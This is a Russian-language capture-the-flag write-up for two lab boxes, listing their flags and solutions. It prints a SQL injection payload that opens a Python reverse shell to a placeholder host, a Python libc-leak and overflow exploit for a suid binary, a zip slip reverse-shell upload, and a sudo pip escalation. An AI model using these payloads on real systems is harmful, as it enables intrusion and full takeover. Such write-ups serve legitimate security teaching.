---
# System prepended metadata

title: ООУИ 21/22. Второй тур

---

# ООУИ 21/22. Второй тур


## Vulnbox 1 (medium)

### User
**flag**: `2b67c1f4152e859f37370e68725f8729`
**solution**:

1. Находим web сервис на порту 50000 для генерации JWT на новых пользователей и сохранения фидбеков
2. Находим ключ для подписи JWT. Параметр `signing_key` передается публично при создании нового пользователя, в котором лежит ключ. Следовательно, можем изменять payload токена и подписывать
3. В payload содержится поле `name`, в котором присутствует blind SQL Injection. При добавлении кавычки и подписи сервер отдает код 500. Выясняем, что используется PostgreSQL
4. Используем payload для получения RCE:

```
{
  "random_string": "`z\\V,2YiC}KHyx5R",
  "exp": 1643101893,
  "name": "test';DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM E'python3 -c \\'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"< ip >\",< port >));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\\'';SELECT * FROM cmd_exec;DROP TABLE IF EXISTS cmd_exec;--"
}
```

Имеем доступ от имени пользователя postgres, нужно получить юзера `john`

5. На localhost крутится еще один сервер на порту 8080. Пробрасываем порт, перебираем директории, находим `.git`
6. Из одного из коммитов достаем ssh ключ к пользователю `john`, подключаемся

### Root
**flag**: `00b967126f732f13eef2d7031496ce94`
**solution:**

1. В домашней директории пользователя лежит папка с программой `suda` с выставленным suid битом. Достаем бинарник и анализируем.
2. Сразу в глаза бросается printf, с уязвимостью форматной строки, но если приглядеться, то можно заметить, что символ `n` запрещен, а значит произвести запись по адресу не получится.
3. При считывании хедеров файла возможно переполнение позволяющее перезаписать указатель на функцию.

exploit:
```python=
import sys
import struct

if len(sys.argv) != 2:
    print(f'Usage: {sys.argv[0]} (gen1 OR gen2)')
    exit()

if sys.argv[1] == 'gen1':
    with open('exploit1', 'wb') as f:
        f.write(b'SUDA0000|00000004|%23$pENDSTR')
    print('run `suda` and pass file exploit1')
if sys.argv[1] == 'gen2':
    libc_leak = int(input('enter address from first stage:'), 16)
    libc_base = libc_leak - 0x1f2000
    addr = 0x55410 + libc_base 
    print(f'[+] LIBC BASE: {hex(libc_base)}')
    with open('bash', 'wb') as f:
        f.write(b'SUDA0000|00000004|'+b'A'*116+struct.pack('<Q', addr))
    print('now copy bash to the `suda` directory and pass it to `suda`')
```

## Vulnbox 2 (easy)

### User
**flag**: 89ea118d7b1bc58181380be531021641
**solution:** 
1. Находим web-сервис на порту 8080, есть возможность загрузки zip-файлов. Сканим доступные url'ы, находим директорию /list, которая выдает сообщение об ошибке (framework flask, debug console) откуда можем получить полный путь и имя запускаемого файла.
2. Эксплуатируем уязвимость zip slip, создав и загрузив архив с именем файла по типу "../../../app/main.py" (в сам файл main.py записываем реверс-шелл), получаем доступ до юзера appserver. 

### Root
**flag**: 27503b81ee5e586164df85586b2e5192
**solution:**
1. Смотрим доступные юзеру команды для запуска из под sudo
```bash=
sudo -l
```
2. Видим, что пользователь может запускать с правами суперпользователя команду /usr/bin/pip install *
3. Эксплуатируем уязвимость FakePip и получаем права суперпользователя

